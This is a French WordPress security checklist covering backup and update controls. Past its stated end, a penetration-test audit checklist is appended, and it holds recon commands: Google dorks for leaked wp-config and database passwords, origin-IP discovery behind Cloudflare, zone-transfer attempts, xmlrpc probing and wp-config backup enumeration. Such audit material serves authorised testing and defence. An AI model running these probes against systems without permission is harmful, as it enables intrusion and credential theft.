\n1. Rétention 7 quotidiennes + 4 hebdomadaires + 12 mensuelles
\n2. Archivage long terme (Glacier/Deep Archive)
\n3. Purge automatique selon politique
\n4. Documentation légale rétention

Valeur par défaut : Accumulation sauvegardes sans politique rétention

12.1.8 — Chiffrement Sauvegardes

Niveau : ? Critique
\nRéférence : OWASP A02 / CIS WordPress 12.8
\nMITRE ATT&CK : T1485

Description : Chiffrer toutes les sauvegardes avec des algorithmes robustes pour protéger les données sensibles.

Vérification :

# Test chiffrement sauvegarde DB\nwp db export - --allow-root | openssl aes-256-cbc -e -k 'password123' > encrypted-backup.sql.enc\n# Vérifier déchiffrement  \nopenssl aes-256-cbc -d -k 'password123' -in encrypted-backup.sql.enc > decrypted.sql\n# Test intégrité post-déchiffrement\ndiff backup-original.sql decrypted.sql\n

Remédiation :
\n1. AES-256 chiffrement pour toutes sauvegardes
\n2. Gestion clés sécurisée (HSM, KMS)
\n3. Chiffrement en transit ET au repos
\n4. Rotation clés chiffrement annuelle

Valeur par défaut : Sauvegardes non chiffrées

12.1.9 — Sauvegarde Incrémentielle

Niveau : ? Modéré
\nRéférence : CIS WordPress 12.9
\nMITRE ATT&CK : T1485

Description : Implémenter sauvegardes incrémentales pour optimiser espace stockage et temps de sauvegarde.

Vérification :

# Sauvegarde incrémentale avec rsync\nrsync -av --link-dest=/backup/full-backup/ /var/www/html/ /backup/incremental-$(date +%Y%m%d)/\n# Vérifier gains espace disque\ndu -sh /backup/*/ | sort -hr\n# Test restauration point dans le temps\n

Remédiation :
\n1. Full backup hebdomadaire + incrémentales quotidiennes
\n2. Plugin BackWPup avec support incrémental
\n3. Monitoring chaîne dépendances sauvegardes
\n4. Tests restauration combinée full+incrémental

Valeur par défaut : Sauvegardes complètes uniquement

12.1.10 — Monitoring Sauvegardes

Niveau : ? Important
\nRéférence : CIS WordPress 12.10
\nMITRE ATT&CK : T1485

Description : Surveiller le statut des sauvegardes avec alertes en cas d'échec pour garantir continuité de service.

Vérification :

# Vérifier logs sauvegardes  \ntail -20 /var/log/backup.log\n# Status dernière sauvegarde UpdraftPlus\nwp eval 'print_r(get_option("updraft_last_backup"));' --allow-root\n# Test notification échec\necho 'BACKUP FAILED' | mail -s 'ALERT: Backup Failed' [email protected]\n

Remédiation :
\n1. Monitoring 24/7 statut sauvegardes
\n2. Alertes email/SMS échecs sauvegarde
\n3. Dashboard temps réel statut backups
\n4. Escalade automatique si problème persistant

Valeur par défaut : Pas de monitoring automatique sauvegardes

12.1.11 — Documentation Procédures Restauration

Niveau : ? Modéré
\nRéférence : CIS WordPress 12.11
\nMITRE ATT&CK : T1485

Description : Maintenir une documentation détaillée et à jour des procédures de restauration pour différents scénarios de sinistre.

Vérification :

# Vérifier documentation existante\nls -la /docs/backup-restore/ \n# Test procédure pas-à-pas  \ncat /docs/disaster-recovery-wordpress.md\n# Validation runbook restauration\n

Remédiation :
\n1. Runbook détaillé restauration complète
\n2. Procédures spécialisées : DB only, files only, etc.
\n3. Contact escalade et responsabilités
\n4. Mise à jour documentation après chaque test

Valeur par défaut : Documentation procédures basique ou absente

12.1.12 — Plan de Continuité d'Activité (PCA)

Niveau : ? Important
\nRéférence : CIS WordPress 12.12
\nMITRE ATT&CK : T1485

Description : Élaborer un plan de continuité d'activité complet incluant WordPress dans la stratégie de reprise après sinistre.

Vérification :

# Test bascule vers site de secours\ndig backup.votre-site.com\n# Vérifier RTO/RPO actuels  \ntime wp db import large-backup.sql --allow-root\n# Test communication crisis\n

Remédiation :
\n1. Site de secours avec données synchronisées
\n2. RTO < 4h, RPO < 1h pour sites critiques
\n3. Procédures communication crisis
\n4. Training équipe sur PCA régulier

Valeur par défaut : Pas de PCA formalisé

12.1.13 — Backup Immutable (WORM)

Niveau : ? Recommandé
\nRéférence : CIS WordPress 12.13
\nMITRE ATT&CK : T1485

Description : Implémenter sauvegardes immutables (Write-Once-Read-Many) pour protection contre ransomware et modification malveillante.

Vérification :

# Vérifier Object Lock S3  \naws s3api get-object-lock-configuration --bucket backup-immutable\n# Test tentative suppression backup immutable\naws s3 rm s3://backup-immutable/wordpress-backup-20240401.sql\n# Vérifier rétention forcée\n

Remédiation :
\n1. S3 Object Lock ou équivalent cloud
\n2. Rétention minimale 30 jours immutable
\n3. Accès backup immutable restreint
\n4. Monitoring tentatives modification backups

Valeur par défaut : Sauvegardes modifiables/supprimables

12.1.14 — Cross-Region Backup Replication

Niveau : ? Modéré
\nRéférence : CIS WordPress 12.14
\nMITRE ATT&CK : T1485

Description : Répliquer sauvegardes dans différentes régions géographiques pour protection contre sinistres majeurs.

Vérification :

# Vérifier réplication cross-region\naws s3api get-bucket-replication --bucket backup-primary\n# Test accès backup région secondaire\naws s3 ls s3://backup-secondary-region/wordpress/ --region eu-west-1\n# Monitoring lag réplication\n

Remédiation :
\n1. Réplication automatique S3 Cross-Region
\n2. Monitoring lag réplication < 1h
\n3. Test failover vers région secondaire
\n4. Coûts optimisés avec Intelligent Tiering

Valeur par défaut : Sauvegardes région unique

12.1.15 — Backup Security Hardening

Niveau : ? Important
\nRéférence : CIS WordPress 12.15
\nMITRE ATT&CK : T1485

Description : Durcir la sécurité des systèmes et processus de sauvegarde pour éviter leur compromission.

Vérification :

# Vérifier permissions fichiers backup\nls -la /backup/ | awk '{print $1, $3, $4, $9}'\n# Test accès non autorisé backups  \nsu -c 'cat /backup/database.sql' backup-user 2>&1\n# Audit trail accès sauvegardes\n

Remédiation :
\n1. Comptes service dédiés sauvegardes avec privilèges minimums
\n2. Chiffrement clés stockage séparé
\n3. Audit logs accès sauvegardes
\n4. Network segmentation infrastructure backup

Valeur par défaut : Sécurité basique infrastructure backup

S13 — MISES À JOUR & MAINTENANCE

13.1.1 — Auto-Update WordPress Core

Niveau : ? Critique
\nRéférence : CIS WordPress 13.1
\nMITRE ATT&CK : T1190

Description : Activer les mises à jour automatiques pour le core WordPress afin de corriger rapidement les vulnérabilités de sécurité.

Vérification :

# Vérifier version WordPress actuelle\nwp core version --allow-root\n# Check updates disponibles\nwp core check-update --allow-root  \n# Vérifier auto-updates activés\nwp eval 'print_r(get_option("auto_update_core_major"));' --allow-root\n

Remédiation :
\n1. wp-config.php : define('WP_AUTO_UPDATE_CORE', true);
\n2. Notifications email updates automatiques
\n3. Environnement staging pour tests pré-production
\n4. Rollback plan en cas de problème

Valeur par défaut : Auto-updates mineures uniquement

13.1.2 — Gestion Plugins et Thèmes

Niveau : ? Important
\nRéférence : CIS WordPress 13.2
\nMITRE ATT&CK : T1190

Description : Maintenir plugins et thèmes à jour avec processus de validation et rollback en cas d'incompatibilité.

Vérification :

# Lister plugins avec updates disponibles\nwp plugin list --allow-root --format=table --fields=name,status,version,update_version\n# Check vulnérabilités plugins\nwpscan --url https://votre-site.com --enumerate vp --plugins-detection aggressive\n

Remédiation :
\n1. Auto-update plugins critiques sécurité
\n2. Tests staging avant updates plugins majeurs
\n3. Inventory plugins avec priorités update
\n4. Suppression plugins inutilisés régulière

Valeur par défaut : Updates manuelles plugins/thèmes

13.1.3 — Environnement Staging

Niveau : ? Important
\nRéférence : CIS WordPress 13.3
\nMITRE ATT&CK : T1190

Description : Maintenir environnement staging pour tester updates et changements avant déploiement production.

Vérification :

# Vérifier synchronisation staging\nrsync -av --dry-run /var/www/html/ staging.votre-site.com:/var/www/html/\n# Test updates en staging\nwp core update --allow-root --url=staging.votre-site.com  \n# Validation fonctionnelle staging\ncurl -I https://staging.votre-site.com\n

Remédiation :
\n1. Environnement staging identical production
\n2. Synchronisation données régulière (anonymisées)
\n3. Tests automatisés post-update staging
\n4. Pipeline CI/CD staging → production

Valeur par défaut : Pas d'environnement staging dédié

13.1.4 — Rollback et Versioning

Niveau : ? Modéré
\nRéférence : CIS WordPress 13.4
\nMITRE ATT&CK : T1190

Description : Capacité de rollback rapide en cas de problème avec les mises à jour WordPress ou plugins.

Vérification :

# Simuler rollback WordPress  \nwp core download --version=6.4.2 --force --allow-root\n# Test rollback plugin\nwp plugin deactivate problematic-plugin --allow-root\n# Vérifier snapshots disponibles\nls -la /snapshots/pre-update/\n

Remédiation :
\n1. Snapshots automatiques avant chaque update
\n2. Plugin WP Rollback ou similaire
\n3. Git versioning pour thèmes/plugins custom
\n4. Documentation procédure rollback

Valeur par défaut : Pas de mécanisme rollback automatique

13.1.5 — Monitoring Vulnérabilités

Niveau : ? Important
\nRéférence : OWASP / CIS WordPress 13.5
\nMITRE ATT&CK : T1190

Description : Surveiller activement les bases de vulnérabilités pour WordPress, plugins et thèmes installés.

Vérification :

# Scanner vulnérabilités avec WPScan\nwpscan --url https://votre-site.com --enumerate vp,vt --api-token YOUR_TOKEN\n# Vérifier dernière date scan\ncat /var/log/wpscan.log | tail -5\n# Monitoring CVE WordPress\ncurl -s 'https://cve.circl.lu/api/search/wordpress' | jq '.[] | {id: .id, summary: .summary}' | head -5\n

Remédiation :
\n1. Scan automatique quotidien vulnérabilités
\n2. Abonnement alertes sécurité WordPress.org
\n3. Intégration SIEM alertes CVE critiques
\n4. Priorisation patches selon CVSS score

Valeur par défaut : Monitoring vulnérabilités manuel

13.1.6 — Changelog Review Process

Niveau : ? Modéré
\nRéférence : CIS WordPress 13.6
\nMITRE ATT&CK : T1190

Description : Processus de revue des changelogs avant application des mises à jour pour identifier les impacts potentiels.

Vérification :

# Review changelog WordPress\nwp core check-update --allow-root | grep -A5 'Update available'\n# Analyser changelog plugin critique  \ncurl -s https://wordpress.org/plugins/wordfence/changelog/\n# Documentation impacts connus\n

Remédiation :
\n1. Revue systématique changelogs avant update
\n2. Tests spécifiques fonctionnalités impactées
\n3. Communication équipe changements importants
\n4. Validation business impact updates

Valeur par défaut : Updates sans revue préalable changelogs

13.1.7 — Maintenance Windows Planning

Niveau : ? Modéré
\nRéférence : CIS WordPress 13.7
\nMITRE ATT&CK : N/A

Description : Planifier fenêtres de maintenance pour updates critiques avec communication appropriée.

Vérification :

# Planifier maintenance mode\nwp maintenance-mode activate --allow-root  \n# Test page maintenance personnalisée\ncurl https://votre-site.com/ | grep 'maintenance'\n# Vérifier notifications utilisateurs\n

Remédiation :
\n1. Fenêtres maintenance planifiées heures creuses
\n2. Page maintenance informative et branded
\n3. Communication préalable utilisateurs/clients
\n4. Rollback plan si problème durant maintenance

Valeur par défaut : Updates sans planification maintenance

13.1.8 — Health Checks Post-Update

Niveau : ? Important
\nRéférence : CIS WordPress 13.8
\nMITRE ATT&CK : T1190

Description : Vérifications automatisées post-update pour valider fonctionnement correct du site.

Vérification :

# Health check WordPress intégré\nwp eval 'print_r(wp_get_site_health_data());' --allow-root\n# Test fonctionnalités critiques  \ncurl -I https://votre-site.com/wp-login.php\ncurl -I https://votre-site.com/wp-admin/\n# Monitoring erreurs logs\ntail -20 /var/log/apache2/error.log | grep -i error\n

Remédiation :
\n1. Scripts automatisés health check post-update
\n2. Tests fonctionnels critiques (login, checkout, etc.)
\n3. Monitoring métriques performance
\n4. Alertes automatiques si problèmes détectés

Valeur par défaut : Validation manuelle post-update

13.1.9 — Dependencies Management

Niveau : ? Modéré
\nRéférence : CIS WordPress 13.9
\nMITRE ATT&CK : T1190

Description : Gérer dépendances entre plugins/thèmes pour éviter conflits lors des mises à jour.

Vérification :

# Analyser dépendances plugins\nwp plugin list --allow-root --format=json | jq '.[].name'\n# Test désactivation plugin avec dépendances\nwp plugin deactivate parent-plugin --allow-root  \n# Vérifier conflicts connus\n

Remédiation :
\n1. Matrice compatibilité plugins/thèmes
\n2. Tests dépendances en staging
\n3. Updates séquentielles selon dépendances
\n4. Documentation dependencies critiques

Valeur par défaut : Pas de gestion formelle dépendances

13.1.10 — Emergency Security Updates

Niveau : ? Critique
\nRéférence : CIS WordPress 13.10
\nMITRE ATT&CK : T1190

Description : Procédure accélérée pour deployment emergency de patches sécurité critiques.

Vérification :

# Simulation update emergency\nwp core update --version=latest --force --allow-root\n# Test hotfix plugin sécurité  \nwp plugin update wordfence --allow-root\n# Validation sécurité post-emergency update\nwpscan --url https://votre-site.com --no-banner\n

Remédiation :
\n1. Procédure emergency bypass processus normal
\n2. Contacts escalade 24/7 pour urgences sécurité
\n3. Tests minimums mais suffisants en urgence
\n4. Communication post-emergency update

Valeur par défaut : Pas de procédure emergency formalisée

13.1.11 — Automated Testing Pipeline

Niveau : ? Recommandé
\nRéférence : CIS WordPress 13.11
\nMITRE ATT&CK : T1190

Description : Pipeline automatisé de tests pour validation des updates avant déploiement production.

Vérification :

# Lancer suite tests automatisés  \n./run-wordpress-tests.sh\n# Vérifier résultats tests CI/CD\ncurl -H 'Authorization: token' https://api.github.com/repos/owner/repo/actions/runs\n# Tests performance post-update\nab -n 100 -c 10 https://staging.votre-site.com/\n

Remédiation :
\n1. Tests unitaires plugins/thèmes custom
\n2. Tests intégration fonctionnalités critiques
\n3. Tests performance et sécurité automatisés
\n4. Gate qualité avant promotion production

Valeur par défaut : Tests manuels uniquement

13.1.12 — Update Notifications Management

Niveau : ? Modéré
\nRéférence : CIS WordPress 13.12
\nMITRE ATT&CK : T1190

Description : Gérer notifications updates pour éviter spam tout en maintenant visibilité sur sécurité.

Vérification :

# Vérifier notifications configurées\nwp eval 'print_r(get_option("admin_email"));' --allow-root\n# Test notification update  \nwp plugin update --dry-run --allow-root\n# Analyser historique notifications\ngrep 'WordPress.*update' /var/log/mail.log | tail -10\n

Remédiation :
\n1. Notifications sécurité uniquement (pas features)
\n2. Dashboard centralisé statut updates
\n3. Escalade automatique updates critiques non appliquées
\n4. Filtrage notifications selon criticité

Valeur par défaut : Toutes notifications updates envoyées

13.1.13 — Long-Term Support Planning

Niveau : ? Modéré
\nRéférence : CIS WordPress 13.13
\nMITRE ATT&CK : T1190

Description : Planifier migration vers versions LTS et fin de support pour composants WordPress.

Vérification :

# Vérifier version PHP et support\nphp -v | head -1\n# Check EOL WordPress version\ncurl -s https://endoflife.date/api/wordpress.json | jq '.[0]'\n# Analyser plugins EOL  \nwp plugin list --allow-root --format=table\n

Remédiation :
\n1. Calendrier migration versions PHP/WordPress LTS
\n2. Audit régulier plugins abandonnés
\n3. Plan remplacement composants EOL
\n4. Budget maintenance préventive

Valeur par défaut : Updates réactives sans planification LTS

13.1.14 — Maintenance Documentation

Niveau : ? Modéré
\nRéférence : CIS WordPress 13.14
\nMITRE ATT&CK : N/A

Description : Documentation complète des procédures de maintenance et historique des changements.

Vérification :

# Vérifier documentation maintenance\nls -la /docs/maintenance/\n# Historique updates dans git\ngit log --oneline | grep -i 'update\\|upgrade' | head -10\n# Change log applicatif\ncat CHANGELOG.md | head -20\n

Remédiation :
\n1. Runbook maintenance détaillé et à jour
\n2. Historique changements avec impacts
\n3. Procédures rollback documentées
\n4. Knowledge base équipe maintenance

Valeur par défaut : Documentation maintenance basique

13.1.15 — Maintenance Automation

Niveau : ? Recommandé
\nRéférence : CIS WordPress 13.15
\nMITRE ATT&CK : T1190

Description : Automatiser tâches maintenance répétitives tout en maintenant contrôle humain sur changements critiques.

Vérification :

# Vérifier tâches cron maintenance\ncrontab -l | grep -E '(wp-cli|update|backup)'\n# Status automation scripts  \nsystemctl status wordpress-maintenance.service\n# Logs automation maintenance\njournalctl -u wordpress-maintenance --since yesterday\n

Remédiation :
\n1. Scripts automation updates non-critiques
\n2. Human approval pour changes majeurs
\n3. Monitoring automation avec alertes échec
\n4. Rollback automatique si problème détecté

Valeur par défaut : Maintenance manuelle sans automation

? KPI ET MÉTRIQUES SÉCURITÉ

Indicateurs de Performance

Temps de mise à jour : < 24h pour correctifs critiques
Couverture 2FA : 100% comptes administrateurs
Taux conformité : > 95% contrôles critiques
MTTR incidents : < 4h pour incidents critiques
Fréquence audits : Trimestriel minimum
Formation équipe : 2 sessions/an minimum

Métriques Techniques

Vulnérabilités ouvertes : 0 critiques, < 5 moyennes
Tentatives intrusion : Monitoring 24/7
Disponibilité : > 99.9% (SLA)
Performance : < 3s temps de chargement
Backup RTO : < 4h
Backup RPO : < 1h

? CONTACTS D'URGENCE

Équipe Sécurité ANC

RSSI : [email protected] / +33 1 XX XX XX XX
Analyste SOC : [email protected] / +33 1 XX XX XX XX
Support 24/7 : [email protected] / +33 1 XX XX XX XX

Prestataires Externes

Hébergeur : [email protected]
Registrar : [email protected]
CDN/WAF : [email protected]
Backup : [email protected]

? RESSOURCES COMPLÉMENTAIRES

Documentation Officielle

Outils Recommandés

WPScan : Scanner de vulnérabilités WordPress
Sucuri SiteCheck : Scanner malware en ligne
Qualys SSL Labs : Test configuration SSL
Security Headers : Analyse headers HTTP

Formation Continue

WordPress Security Course (Wordfence University)
OWASP WebGoat : Plateforme d'apprentissage
SANS SEC542 : Web Application Penetration Testing

? CHANGELOG

Version 1.0 - 04/04/2026
\n- Version initiale du checklist
\n- 280+ contrôles de sécurité
\n- Mapping OWASP Top 10 2021
\n- Intégration MITRE ATT&CK
\n- Roadmap de remédiation

⚖️ MENTIONS LÉGALES

Ce document est confidentiel et propriétaire. Toute reproduction, distribution ou utilisation sans autorisation écrite d'ANC est strictement interdite.

Limitation de responsabilité : Ce checklist est fourni à titre informatif. ANC ne garantit pas l'exhaustivité ou l'adéquation pour tous les environnements. Une analyse spécifique reste nécessaire.

Contact : [email protected] | www.anc-consulting.com

FIN DU DOCUMENT - CHECKLIST SÉCURITÉ WORDPRESS ANC v1.0

S-PREP — PRÉPARATION DE L'AUDIT (6 contrôles)

PREP.1 — Définition du périmètre et des objectifs

Question : Le périmètre de l'audit est-il formellement défini (IP, domaines, sous-domaines, fenêtre horaire, contacts d'urgence) ?
Vérification : Document de périmètre signé, liste des cibles autorisées

# Lister les IP/domaines dans le scope
cat scope.txt
# Vérifier les plages IP autorisées
whois IP_CIBLE | grep -i "netname\|country\|org"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

PREP.2 — Cadre légal et autorisation écrite

Question : Une lettre de mission signée et des règles d'engagement formalisées ont-elles été obtenues avant tout test ?
Vérification : Contrat signé, clause de non-poursuite, règles d'engagement (RoE)

# Vérifier que la lettre d'autorisation est signée et datée
ls -la autorisation-pentest-*.pdf
# Aucun test ne commence sans ce document

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

PREP.3 — Méthodologie de référence

Question : L'audit suit-il une méthodologie reconnue (OWASP WSTG 4.2, PTES, OSSTMM) ?
Vérification : Référentiel sélectionné documenté, mapping des tests aux contrôles

# Références utilisées :
# OWASP WSTG : https://owasp.org/www-project-web-security-testing-guide/
# PTES        : http://www.pentest-standard.org/
# OSSTMM      : https://www.isecom.org/OSSTMM.3.pdf
echo "Méthodologie : OWASP WSTG 4.2 + PTES"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

PREP.4 — Environnement de test configuré

Question : Les outils nécessaires sont-ils installés et à jour (Kali Linux, Burp Suite Pro, OWASP ZAP, WPScan, sqlmap) ?
Vérification : Versions des outils vérifiées, profil Burp configuré

wpscan --version
sqlmap --version
burpsuite --version 2>/dev/null || echo "Burp Suite Pro installé"
zap.sh -version 2>/dev/null || zaproxy -version
nmap --version | head -1

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

PREP.5 — Comptes de test créés

Question : Des comptes de test ont-ils été créés pour chaque niveau de privilège (Admin, Éditeur, Abonné, non-authentifié) ?
Vérification : Comptes créés et actifs, mots de passe notés, à supprimer en fin de mission

# Créer via WP-CLI (si accès serveur)
wp user create test-admin [email protected] --role=administrator
wp user create test-editor [email protected] --role=editor
wp user create test-subscriber [email protected] --role=subscriber

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

PREP.6 — Snapshot/sauvegarde avant test

Question : Une sauvegarde complète (BDD + fichiers) a-t-elle été réalisée et vérifiée avant le début des tests actifs ?
Vérification : Snapshot VM ou backup fichiers + BDD restaurable

# Vérifier l'existence d'un backup récent
wp db export backup-avant-pentest-$(date +%Y%m%d).sql
tar -czf backup-wp-$(date +%Y%m%d).tar.gz /var/www/html/
ls -lh backup-*.sql backup-*.tar.gz

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

S-RECON — RECONNAISSANCE OSINT PASSIVE (8 contrôles)

RECON.1 — WHOIS et enregistrement de domaine

Question : Les informations WHOIS révèlent-elles des données sensibles (registrar, contacts, dates d'expiration, historique) ?
Vérification : Données WHOIS collectées, contacts exposés, dates d'expiration identifiées

whois domaine.com
whois $(dig +short domaine.com | head -1)
# Via outils en ligne : domaintools.com, who.is

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

RECON.2 — Historique DNS

Question : L'historique DNS révèle-t-il des IP précédentes, des sous-domaines anciens ou une infrastructure cachée derrière un CDN ?
Vérification : SecurityTrails, dnshistory.io, ViewDNS.info

# SecurityTrails API
curl "https://api.securitytrails.com/v1/history/domaine.com/dns/a"   -H "APIKEY: VOTRE_CLE"
# Via ViewDNS : https://viewdns.info/iphistory/?domain=domaine.com

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

RECON.3 — Énumération de sous-domaines

Question : Des sous-domaines non protégés ou oubliés sont-ils accessibles (staging, dev, admin, old) ?
Vérification : subfinder, amass, crt.sh, dnsdumpster

subfinder -d domaine.com -silent
amass enum -passive -d domaine.com
curl -s "https://crt.sh/?q=%25.domaine.com&output=json" | jq '.[].name_value' | sort -u
# DNSdumpster : https://dnsdumpster.com

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

RECON.4 — Exposition sur Shodan/Censys

Question : Des ports ouverts, versions de services ou headers sensibles sont-ils visibles depuis Shodan/Censys ?
Vérification : Shodan, Censys, Fofa

# Shodan CLI
shodan host IP_CIBLE
shodan search "hostname:domaine.com http.title:WordPress"
# Censys
curl "https://search.censys.io/api/v2/hosts/IP_CIBLE"   -H "Authorization: Basic BASE64_CREDS"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

RECON.5 — Fuites sur GitHub et dépôts publics

Question : Des secrets, clés API, identifiants ou fichiers de configuration WordPress sont-ils exposés sur GitHub ou Pastebin ?
Vérification : gitrob, truffleHog, Google Dorks

trufflehog github --org=NOM_ORG --only-verified
# Google Dorks
# site:github.com "domaine.com" "wp-config" password
# site:github.com "domaine.com" DB_PASSWORD
# site:pastebin.com "domaine.com" password

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

RECON.6 — Wayback Machine et contenus archivés

Question : D'anciennes versions du site révèlent-elles des endpoints supprimés, des fichiers de configuration ou des informations sensibles ?
Vérification : web.archive.org, waybackurls, gau

waybackurls domaine.com | sort -u | tee wayback-urls.txt
gau domaine.com | grep -E "\.(php|bak|sql|log|env|config|xml)$"
# Chercher fichiers sensibles archivés
cat wayback-urls.txt | grep -E "wp-config|\.sql|\.bak|\.log|\.env"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

RECON.7 — Google Dorks

Question : Des informations sensibles (fichiers indexés, pages admin, erreurs) sont-elles exposées via Google ?
Vérification : Dorks ciblés sur le domaine

# Dorks WordPress utiles (à taper dans Google) :
# site:domaine.com filetype:log
# site:domaine.com filetype:sql
# site:domaine.com inurl:wp-content/uploads filetype:php
# site:domaine.com "Index of" wp-content
# site:domaine.com intitle:"WordPress" "Erreur"
# site:domaine.com "wp-config.php" ext:bak

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

RECON.8 — OSINT élargi (emails, employés, infrastructure)

Question : Des emails d'employés, postes LinkedIn, ou informations d'infrastructure sont-ils exploitables pour du spear-phishing ou de l'ingénierie sociale ?
Vérification : Maltego, SpiderFoot, theHarvester

theHarvester -d domaine.com -b all -l 500
# SpiderFoot
spiderfoot -s domaine.com -m sfp_linkedin,sfp_hunter,sfp_haveibeenpwned
# LinkedIn : recherche manuelle des employés techniques

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

S-RECON-A — RECONNAISSANCE ACTIVE (6 contrôles)

RCTA.1 — Scan DNS actif

Question : Le serveur DNS est-il vulnérable au transfert de zone (AXFR) ou révèle-t-il des enregistrements sensibles ?
Vérification : dnsrecon, dig, fierce

dnsrecon -d domaine.com -t std,srv,axfr
dig axfr @ns1.domaine.com domaine.com
fierce --domain domaine.com
# Vérifier enregistrements SPF/DMARC/DKIM
dig TXT domaine.com | grep -E "spf|dmarc|dkim"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

RCTA.2 — Scan de ports et services

Question : Des ports non nécessaires, services obsolètes ou versions vulnérables sont-ils exposés ?
Vérification : nmap scan complet

nmap -sV -sC -p- --script=http-headers,http-methods,banner IP_CIBLE -oA nmap-full
# Ports WordPress courants à vérifier : 80, 443, 8080, 8443
# Services secondaires : 21 (FTP), 22 (SSH), 3306 (MySQL), 6379 (Redis)
nmap -sU --top-ports 100 IP_CIBLE  # UDP scan

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

RCTA.3 — Détection des technologies

Question : Les technologies côté serveur (PHP, serveur web, CMS version) sont-elles identifiables et révèlent-elles des versions vulnérables ?
Vérification : whatweb, curl headers, Wappalyzer

whatweb -v https://domaine.com
curl -sI https://domaine.com | grep -iE "server|x-powered-by|x-generator|x-wp"
# Wappalyzer (extension navigateur) ou CLI :
npx wappalyzer https://domaine.com 2>/dev/null

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

RCTA.4 — Cartographie de l'infrastructure

Question : L'infrastructure révèle-t-elle une IP réelle derrière un CDN, un load balancer ou un WAF contournable ?
Vérification : cloudfail, censys, ping direct

# Détecter WAF
wafw00f https://domaine.com
# Tenter de trouver l'IP réelle derrière Cloudflare
cloudfail --target domaine.com
# Comparer TTL des réponses DNS
dig +nocmd domaine.com A +noall +answer

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

RCTA.5 — Énumération des emails et contacts

Question : Des adresses email internes sont-elles exposées et présentes dans des bases de données de fuites ?
Vérification : hunter.io, theHarvester, haveibeenpwned

theHarvester -d domaine.com -b google,bing,linkedin,hunter -l 200
# Vérifier chaque email dans HaveIBeenPwned
curl -s "https://haveibeenpwned.com/api/v3/breachedaccount/[email protected]"   -H "hibp-api-key: VOTRE_CLE"

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

RCTA.6 — Analyse des certificats SSL/TLS

Question : Le certificat SSL/TLS est-il correctement configuré, sans protocoles obsolètes (TLS 1.0/1.1, SSLv3), avec une chaîne valide ?
Vérification : SSLLabs, testssl.sh, crt.sh

testssl.sh --full https://domaine.com
# Ou via SSLLabs API
curl -s "https://api.ssllabs.com/api/v3/analyze?host=domaine.com&all=done" |   python3 -m json.tool | grep -E "grade|status"
# Chercher des sous-domaines via crt.sh
curl -s "https://crt.sh/?q=domaine.com&output=json" | jq '.[].name_value' | sort -u

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

S-IDENT — IDENTIFICATION WORDPRESS EXTERNE (7 contrôles)

IDENT.1 — Détection de WordPress depuis l'extérieur

Question : WordPress est-il identifiable depuis l'extérieur via des chemins caractéristiques ou des méta-tags ?
Vérification : readme.html, /wp-login.php, /wp-admin/, generator meta tag

curl -sI https://domaine.com/readme.html | grep "200\|301"
curl -sI https://domaine.com/wp-login.php
curl -s https://domaine.com/ | grep -i "generator.*wordpress"
wpscan --url https://domaine.com --enumerate vp --no-banner

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

IDENT.2 — Version WordPress exposée

Question : La version exacte de WordPress est-elle divulguée (readme.html, paramètre ?ver= dans les assets) ?
Vérification : readme.html, scripts/styles avec ?ver=

curl -s https://domaine.com/readme.html | grep -i "version\|wordpress"
curl -s https://domaine.com/ | grep -oP '\?ver=[0-9.]+' | sort -u
# Masquage recommandé : supprimer ?ver= et readme.html

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

IDENT.3 — xmlrpc.php exposé et activé

Question : Le fichier xmlrpc.php est-il accessible et peut-il être utilisé pour du brute-force ou du DDoS par pingback ?
Vérification : Test d'accès direct et de la méthode system.listMethods

curl -s https://domaine.com/xmlrpc.php
curl -s -X POST https://domaine.com/xmlrpc.php   -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' |   grep -c "<value>"
# Si répond avec des méthodes → xmlrpc actif et exploitable

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

IDENT.4 — Fichier wp-config.php accessible

Question : Le fichier wp-config.php ou ses sauvegardes (.bak, .old, ~) sont-ils accessibles publiquement ?
Vérification : Test d'accès direct aux variantes

for ext in "" ".bak" ".old" ".orig" "~" ".txt" ".zip"; do
  code=$(curl -so /dev/null -w "%{http_code}" "https://domaine.com/wp-config.php${ext}")
  echo "wp-config.php${ext} → HTTP $code"
done

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

IDENT.5 — Directory listing sur wp-content/

Question : Le répertoire wp-content/ et ses sous-répertoires permettent-ils le listing des fichiers ?
Vérification : Accès direct aux répertoires uploads, plugins, themes

for path in wp-content/ wp-content/uploads/ wp-content/plugins/ wp-content/themes/; do
  resp=$(curl -sI "https://domaine.com/$path" | head -1)
  body=$(curl -s "https://domaine.com/$path" | grep -c "Index of")
  echo "$path → $resp (listing: $body)"
done

Statut : ☐ ✅ ☐ ❌ ☐ ⚠️ ☐ N/A

IDENT.6 — Énumération des plugins et thèmes

Question : Les plugins et thèmes installés, leurs versions et vulnérabilités connues sont-ils identifiables ?
Vérification : wpscan, accès direct aux chemins

wpscan --url https://domaine.com --enumerate p,t,cb,dbe   --plugins-detection aggressive --api-token VOTRE_TOKEN
# Vérifier les versions dans les readme.txt des plugins
